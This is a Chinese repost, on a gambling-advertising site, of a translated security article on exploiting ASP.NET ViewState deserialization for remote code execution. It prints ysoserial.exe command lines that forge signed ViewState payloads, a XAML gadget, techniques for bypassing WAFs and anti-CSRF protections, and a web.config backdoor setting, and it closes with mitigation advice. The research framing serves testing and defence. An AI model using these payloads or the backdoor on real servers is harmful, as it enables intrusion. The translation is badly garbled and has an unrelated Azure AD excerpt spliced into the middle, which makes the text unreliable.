怎样借助ViewState在ASP.NET中完成反序列化破绽应用 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

怎样借助ViewState在ASP.NET中完成反序列化破绽应用

申博_安全预警 申博 58次浏览 未收录 0个评论

申搏新网

申搏新网是申博官方网推荐可信平台,菲律宾申博自主开发棋牌新玩法,购入多项正版热门游戏,让每位用户在此都能畅快刺激玩!会员名称密码自由设置就能完成申博开户,享受众多充值减免,节假日优惠力度更能翻倍,详情请登入申博官方网,欢迎加入申博娱乐大家庭!

,

概述

ASP.NET Web应用顺序运用ViewState来庇护页面状况,并在Web表单中保存数据。ViewState参数是Base64序列化后的餐胡,一般会在POST请求中经由历程名为“__VIEWSTATE”的隐蔽参数发送。在效劳器端,将对这个参数举行反序列化,并检索数据。

一般能够在Web效劳器上运转能够捏造有效ViewState的代码。这一历程能够在禁用MAC考证功用或控制以下内容的状况下举行:

1、.NET Framework 4.5版本之前的考证密钥及其算法;

2、.NET Framework 4.5或更高版本中的考证密钥、考证算法、解密密钥息争密算法。

为了防备支配进击,.NET Framework能够签订并加密已运用LosFormatter类[1]举行序列化的ViewState。然后,运用音讯身份考证代码(MAC)考证机制对署名举行考证。ObjectStateFormatter类[2]实行署名、加密和考证使命。实行署名和(或)加密机制所须要的密钥,能够存储在web.config(应用顺序级别)或machine.config(主机级别)文件的machineKey部份中。当多个Web效劳器一般用于在Web Farm或集群中以负载平衡体式格局为同一个应用顺序供应效劳时,一般会涌现这类状况。下面展示了运用.NET Framework 2.0版本及以上ASP.NET应用顺序的设置文件中主机密钥部份的花样:

<machineKey validationKey="[String]"  decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]"  decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />
Disabled ViewState MAC Validation

在之前,只须要将enableViewStateMac属性设置为False,即可禁用MAC考证。在2014年9月,Microsoft宣布了一个修补顺序[3],经由历程疏忽一切版本.NET Framework中的这一属性来强制实行MAC考证。能够我们认为,这样一来,ViewState MAC就不能再被禁用了[4],但现实上,依然能够经由历程将AspNetEnforceViewStateMac注册表项设置为0来禁用MAC考证功用:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

或许,向应用顺序级web.config文件中增加以下风险的设置,也能够禁用MAC考证:

<configuration>
…
    <appSettings>
      <add key="aspnet:AllowInsecureDeserialization" value="true" />
    </appSettings>
</configuration>

要运用这一个未记录的设置(请参阅[5]),其历程与运用此前的enableViewStateMac属性一样简朴。细致而言,这是经由历程检察.NET Framework源代码[6]来肯定的。在代码中,也发现了以下解释:“DevDiv #461378: EnableViewStateMac=false can lead to remote code execution”(DevDiv #461378:设置EnableViewStateMac为False能够致使长途代码实行)。

在2013年12月之前,我们大多数人还没有意想到经由历程VIewState中的反序列化题目实行长途代码的风险性,禁用MAC考证的重要影响以下(拜见[8]):

1、在控件中能设置恣意值;

2、变动控件状况;

3、实行跨站剧本进击(XSS)。

在撰写本文时,有一些着名的Web应用顺序扫描顺序依然将“在未启用MAC的状况下运用ASP.NET ViewState”评级为低风险或中等风险,这表明这些扫描顺序依然没有准确认识到该题目的现实风险。

· Burp Suite:低风险[9]

· Netsparker:中风险[10]

· Acunetix:中风险[11]

在禁用ViewState MAC考证后,YSoSerial.Net项目[12]能够用于生成LosFormatter Payload作为ViewState,从而在效劳器上运转恣意代码。

在.NET Framework 4.5版本之前,在禁用MAC考证功用时,__VIEWSTATE参数是能够加密的。须要注重的是,大多数扫描器不会尝试发送未经加密的ViewState参数来辨认此破绽。因而,须要举行手动测试,以搜检在加密__VIEWSTATE参数时是不是禁用了MAC考证。能够经由历程在__VIEWSTATE参数中发送一个简朴的随机Base64字符串来搜检这一点。下面的URL就展示了一个示例:

https://victim.com/path/page.aspx?__VIEWSTATE=AAAA

假如目的页相应毛病,那末就证实MAC考证功用已被禁用,不然就不会显现出MAC考证毛病的音讯。假如运用POST请求,那末__VIEWSTATE参数应当位于请求的正文中。

纵然没法检察毛病音讯的细致信息(也就是没法推断“ViewState MAC考证失利”是不是涌现),上述测试用例也一样有效。然则,当运用ViewStateUserKey属性时,页面不会疏忽毛病,而且看不到现实的毛病音讯,因而难以肯定MAC考证是不是已被禁用。

由于目的能够不会在外部发送任何请求,因而自动扫描顺序应当运用在效劳器端能发生短暂耽误的Payload。这能够经由历程实行下面的ASP.NET代码来完成,我们以举行10秒耽误作为示例:

System.Threading.Thread.Sleep(10000);

能够运用YSoSerial.Net的ActivitySurrogateSelector东西来实行上述代码。假如须要较短的Payload,修正其他小东西能够比较有效。比方,文本花样运转的小东西能够变动为:

string xaml_payload = @"<ResourceDictionary
  xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
  xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
  xmlns:System=""clr-namespace:System;assembly=mscorlib""
  xmlns:Thr=""clr-namespace:System.Threading;assembly=mscorlib"">
     <ObjectDataProvider x:Key=""x"" ObjectType = ""{ x:Type Thr:Thread}"" MethodName = ""Sleep"" >
     <ObjectDataProvider.MethodParameters>
        <System:Int32>10000</System:Int32>
     </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>";

启用ViewState MAC考证

在启用MAC考证功用时,须要预先控制设置文件(web.config or machine.config)的machineKey部份中运用的考证息争密密钥及算法。如前所述,这是自2014年9月以来一切版本.NET Framework的默许设置。下面是一个示例的machineKey部份:

<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES"  />

值得关注的是,当尚未在设置文件中定义machineKey部份,或许将validationKey和decryptionKey属性设置为AutoGenerate时,应用顺序会基于加密随机Secret动态生成所需的值。算法也能够自动举行挑选。如今在最新版本的.NET Framework中,默许的考证算法是HMACSHA256,默许的解密算法是AES。有关更细致的信息,请拜见[13]。

自4.5版本以来,.NET Framework对序列化对象举行签订和加密的体式格局已更新。因而,相识目的应用顺序的框架版本关于建立有效的Payload来讲异常重要。下面的machineKey部份展示了挑选.NET Framework 4.5或更高版本的示例(请拜见[14]):

<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES" compatibilityMode="Framework45" />

在旧版本(4.5版本之前)中,.NET Framework在签订序列化对象时,运用TemplateSourceDirectory属性[15]。然则从4.5版本最先,它运用Purpose字符串来建立哈希。这两种机制都须要来自应用顺序目次的根目次和页面称号的目的途径。能够从URL中提取这些参数。

运用旧框架并强制实行ViewState加密的应用顺序依然能够吸收未加密的署名后ViewState。这意味着,假如进击者控制考证密钥及其算法,就足以对网站举行破绽应用。从4.5版本最先,默许状况下的ViewState是已加密的,纵然viewStateEncryptionMode属性设置为Never也是云云。这意味着,在最新版本的.NET Framework中,还须要解密密钥及其算法才建立Payload。

在ASP.NET ViewState中,包括一个名为ViewStateUserKey的属性[16],能够用于削减跨站请求捏造(CSRF)进击[4]的风险。当ViewStateUserKey属性的值不为NULL时,其值也在ViewState署名历程当中运用。只管不知道此参数的值是不是能够阻挠我们的进击,但该值一般能够在Cookie或隐蔽的输入参数中找到(比方[17]中所展示的示例)。

应用YSoSerial.Net插件

我建立了ViewState YSoSerial.Net插件,以便在启用MAC考证时建立ViewState Payload,而且我们已控制Secrets。该插件支撑main和v2分支([18]和[19])。

该插件支撑以下参数:

–examples    展示一些示例,其他参数将会被疏忽。

-g,–gadget=VALUE    一个支撑LosFormatter的小东西链,默许值为ActivitySurrogateSelector。

-c,–command=VALUE    合适一切小东西的敕令(将被ActivitySurrogateSelector疏忽)。

–upayload=VALUE    无标记的LosFormatter Payload,运用Base64编码,小东西和敕令参数将被疏忽。

–generator=VALUE    以十六进制示意的__VIEWSTATEGENERATOR值,适用于4.0及以下版本.NET。当该值不为NULL时,“legacy”将被运用,“path”和“apppath”将被疏忽。

–path=VALUE    目的网页,示例:/app/folder1/page.aspx

–apppath=VALUE    应用顺序途径,这是为模仿TemplateSourceDirectory所必要的。

–islegacy    当供应时,它运用legacy算法,适用于4.0及以下版本.NET。

–isencrypted    将在legacy算法时运用,用于绕过WAF。

–viewstateuserkey=VALUE    用于设置ViewStateUserKey参数,偶然用来匹敌CSRF令牌。

–decryptionalg=VALUE    加密算法能够设置为DES、3DES、AES,默许值为AES。

–decryptionkey=VALUE    来自web.config文件中machineKey的decryptionKey属性。

–validationalg=VALUE    考证算法,能够设置为SHA1、HMACSHA256、HMACSHA384、HMACSHA512、MD5、3DES、AES,默认为HMACSHA256。

–validationkey=VALUE    来自web.config文件中machineKey的validationKey属性。

–isdebug    展示有效的调试音讯。

建立ViewState Payload的一些示例以下。

针对.NET Framwork 4.5及以上版本:

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

针对.NET Framwork 4.0及以下版本:

(在这里,不须要decryptionKey及其算法)

.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" –isdebug

除了运用差别的小东西外,还能够运用__VIEWSTATEGENERATOR参数来替换供应的途径:

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

在这里,默许运用ActivitySurrogateSelector小东西,须要编译YSoSerial.Net项目中的ExploitClass.cs类。当decryptionKey值已知时,ViewState Payload也能够加密以回避WAF:

.\ysoserial.exe -p ViewState -c "foo to use ActivitySurrogateSelector" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --islegacy --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --isencrypted --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

ViewStateUserKey参数也能够作为参数供应。

如前所述,为了建立有效的ViewState,找到应用顺序途径的根是异常重要的,除非:

1、该应用顺序运用.NET Framework 4.0版本或以下;

2、__VIEWSTATEGENERATOR参数是已知的。

在这类状况下,能够运用—generator参数。–isdebug参数能够用于搜检插件是不是在供应—path和—apppath参数时盘算雷同的__VIEWSTATEGENERATOR参数。

建立的插件须要在悉数自动为大写或许小写的状况下处置惩罚请求。下面的URL展示了一个示例ASP.NET页面,以使这一历程变得越发清楚:

http://victim.com/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4/page.aspx

Azure AD 环境的特权提升漏洞分析

在今年的DEF CON和Troopers 中,我演示了Azure AD中存在的一个漏洞,其中管理员或本地同步帐户可以通过向程序分配凭据来进行特权提升。后来我再分析这个漏洞时,发现该漏洞实际上不是由Microsoft修复的,并且仍然存在使用默认Office 365程序进行提权的方法。在文章中,我会解释原因和提权方法。 0x01 Applications and Service Principals 在Azure AD中,程序主体和服务主体之间是有区别的。程序是应用程序的配置,而服务主体是实际上可以在Azure目录中拥有特权的安全对象。这会造成

下面的截图中展示了IIS中的途径树:

怎样借助ViewState在ASP.NET中完成反序列化破绽应用

假如你不熟悉IIS中的虚拟目次和应用顺序专有名词,能够浏览[20]。

为了生成上述URL的Viewstate,–path和–apppath参数应当以下所示:

--path=/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4
--apppath=/app2/

假如我们不知道“app2”是应用顺序称号,我们能够重复实验,一一测试URL中的一切目次称号,直到找到能够在效劳器上实行代码的ViewState。在此历程当中,能够由于猎取DNS请求而致使耽搁。

须要注重的是,由于YSoSerial.Net中运用的小东西的性子,纵然在效劳器端胜利实行了破绽应用,目的ASP.NET页面也会一直相应毛病。

针对旧版本的破绽应用

在撰写本文时,未发现任何小东西能够对.NET Framework 1.1版本完成破绽应用。

为了针对运用.NET Framework 4.0或更低版本的应用顺序完成破绽应用,能够运用YSoSerial.Net 2.0分支[21]。然则,该项目仅支撑有限数目的小东西,而且还请求目的装置.NET Framework 3.5或更高版本。明显,这并非抱负的,然则它已在一个过期的Windows 2003主机上举行了测试,该主机上装置了以下软件包,这是异常罕见的:

怎样借助ViewState在ASP.NET中完成反序列化破绽应用

给测试职员的其他提醒

(1)运用GET请求

能够经由历程GET请求在URL中发送__VIEWSTATE参数。在这里,唯一的限定要素就是URL长度,它限定了可在这里运用的小东西范例。在这项研讨中,我想法运用了YSoSerial.Net中的TextFormattingRunProperties小东西,经由历程在URL中发送Payload的体式格局来对应用顺序完成破绽应用。

(2).NET Framework 4.5之前版本中的加密

如前文所述,纵然ViewStateEncryptionMode属性设置为Always,在运用.NET Framework 4.0或更低版本时也不须要加密__VIEWSTATE参数。ASP.NET经由历程在请求中查找__VIEWSTATEENCRYPTED参数来推断是不是ViewState已加密。因而,能够经由历程从请求中删除__VIEWSTATEENCRYPTED参数的体式格局,来发送未加密的ViewStated。

这也意味着,当考证密钥及其算法被盗时,变动解密密钥或其算法没法阻挠进击。

能够加密__VIEWSTATE参数以绕过任何WAF。

(3)绕过反CSRF(反XSRF)机制

当运用无效的__VIEWSTATE参数时,ASP.NET页面会发生毛病。然则,当Request.Form直接在代码中运用时,页面依然能够吸收其输入,比方运用Request.Form[“txtMyInput”]而不是txtMyInput.Text。能够经由历程从请求中删除__VIEWSTATE参数,或增加带有无效值的__PREVIOUSPAGE参数,来完成CSRF进击。由于__PREVIOUSPAGE参数已加密,而且默许状况下为Base64花样,因而纵然供应单个字符作为其值,也应当会致使毛病。

这能够会有助于绕过经由历程设置Page.ViewStateUserKey参数而完成的反CSRF庇护机制。

(4)ViewStateGenerator参数的用法

当__VIEWSTATEGENERATOR参数已知时,它能够用于运用.NET Framework 4.0及以下版本的ASP.NET应用顺序,以便在不知道应用顺序途径的状况下对序列化对象举行署名。

(5)ViewState分块绕过WAF

当MaxPageStateFieldLength属性设置为正值时,能够将__VIEWSTATE参数分解为多个部份。其默许值为负,这意味着__VIEWSTATE参数不能分为多个部份。

当许可ViewState分块时,能够会有助于绕过某些WAF。

(6)应用EventValidation参数

__EVENTVALIDATION参数和一些其他参数也与__VIEWSTATE参数举行相似的序列化,而且能够相似的被定向。经由历程__EVENTVALIDATION举行反序列化破绽应用将遭到更多限定,细致须要:

1、POST请求;

2、一个吸收输入参数的ASP.NET页面;

3、有效的输入参数称号。

在应用__EVENTVALIDATION参数时,__VIEWSTATE参数的值在请求中能够为空,但它必需存在。

.NET Framework 4.5及更高版本中,用于建立有效署名的Purpose字符串依据运用参数的差别而有所差别。下表展示了.NET Framework中定义的Purpose字符串:

输入参数       Purpose字符串
“__VIEWSTATE”          WebForms.HiddenFieldPageStatePersister.ClientState
“__EVENTVALIDATION”     WebForms.ClientScriptManager.EventValidation
P2 in P1|P2 in “__dv” + ClientID + “__hidden”        WebForms.DetailsView.KeyTable
P4 in P1|P2|P3|P4 in “__CALLBACKPARAM”    WebForms.DetailsView.KeyTable
P3 in P1|P2|P3|P4 in “__gv” + ClientID + “__hidden”      WebForms.GridView.SortExpression
P4 in P1|P2|P3|P4 in “__gv” + ClientID + “__hidden”      WebForms.GridView.DataKeys

(7)注重PreviousPage参数

当具有无效数据的请求中存在__PREVIOUSPAGE参数时,应用顺序不会反序列化__VIEWSTATE参数。供应__CALLBACKID参数能够防备此类行动。

(8)运用Web.Config作为后门

假如进击者能够变动应用顺序根目次中的web.config,那末就能够轻松地在效劳器上运转代码。然则,在应用顺序中嵌入隐蔽的后门能够会是进击者的一个不错挑选。这一历程能够经由历程禁用MAC考证并将viewStateEncryptionMode的属性设置为Always来完成。这意味着,一切未将ViewStateEncryptionMode属性设置为Auto或Never的ASP.NET页面一直运用加密的ViewState参数。然则,由于ViewState不运用MAC考证功用,因而它们如今很轻易经由历程反序列化不受信托的数据来实行长途代码。下面是一个示例:

<configuration>
…
    <system.web>
…
        <pages enableViewStateMac="false" viewStateEncryptionMode="Always" />
    </system.web>
    <appSettings>
        <add key="aspnet:AllowInsecureDeserialization" value="false" />
    </appSettings>
</configuration>

作为自力的房展,另有另一个挑选,能够运用恣意键和算法设置machineKey部份,以阻挠其他进击者。

(9)禁用ViewState

须要注重的是,将EnableViewState属性设置为False并不会阻挠此进击,由于ASP.NET仍将剖析ViewState。

(10)毛病可靠性

如前文所述,我们偶然会运用毛病来搜检生成的ViewState是不是有效。运用无效的__VIEWSTATEGENERATOR参数时,ASP.NET默许不会显现MAC考证毛病。运用ViewStateUserKey属性时,此行动将会变动,由于ASP.NET将不会不显现MAC考证毛病。

除此之外,纵然运用ViewStateUserKey属性,ASP.NET Web应用顺序也能够运用以下设置来疏忽MAC考证毛病:

<appSettings>
      <add key="aspnet:AlwaysIgnoreViewStateValidationErrors" value="true" />
</appSettings>

这类差别的行动能够运用毛病音讯的自动化测试来变得复杂,特别是在运用自定义毛病页面时。

平安发起

要下降此类进击的风险,能够遵照以下平安发起:

1、确保已启用MAC考证。

2、假如ViewState参数仅在一台盘算机上运用,须要确保在每一个应用顺序的运转时动态生成MachineKey参数。

3、加密任何敏感参数,比方设置文件中的machineKey部份。

4、斟酌运用ViewStateUserKey属性,其值能够由两部份构成:用作反CSRF庇护机制的第一部份能够向用户公然,随机且不可展望的第二部份应当在效劳器端存储并严厉保密。

5、须要从新生成任何已暴露的考证或解密密钥。

6、确保运用自定义毛病页面,而且用户没法看到现实的ASP.NET毛病音讯。

以往研讨

经由历程ViewState应用不受信托的数据反序列化并非一种新型进击体式格局,在撰写本文时,最少间隔初次公然已有5年的时候。

2014年11月,Alexandre Herzog宣布了一篇风趣的演讲,涉及到在某些页面中禁用MAC考证时应用SharePoint中的反序列化题目[23]。好像他曾运用James Forshaw的研讨成果[24]来捏造他的破绽,而且于2012年9月向微软报告。

微软在2013年12月宣布了ASP.NET 4.5.2更新[25],以消弭.NET应用顺序禁用MAC考证功用的才能,由于它能够致使长途代码实行。该补丁在2014年9月举行了扩大,涵盖了.NET Framework的一切版本。

Alvaro Muñoz & Oleksandr Mirosh在2017年的BlackHat上宣布了他们的小东西后,公然了这类简朴的破绽应用机制[26]。然后,能够运用YSoSerial.Net项目来建立LosFormatter类Payload。

2017年11月,Jonathan Birch在BlackHat v17中直接提到经由历程ViewState应用ASP.NET Web应用顺序[27],而且在2018年4月的LOCOMOCO集会中Alvaro Muñoz也对其举行了申明。

其他东西

Immunity Canvas好像支撑在考证和加密密钥时建立ViewState参数,能够运用以下东西:

https://github.com/0xACB/viewgen(运用Python)

https://github.com/Illuminopi/RCEvil.NET(运用.NET)

这些东西如今不辨别差别版本的.NET Framework,而且是针对传统加密体式格局。另外,它们没有运用ViewStateUserKey参数来阻挠CSRF进击。

申谢

谢谢NCC团队和我的同事们在此项研讨中所供应的支撑,谢谢Alvaro Muñoz许可我浏览他的代码并协助我更新了YSoSerial.Net项目。

本文翻译自:https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明怎样借助ViewState在ASP.NET中完成反序列化破绽应用
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址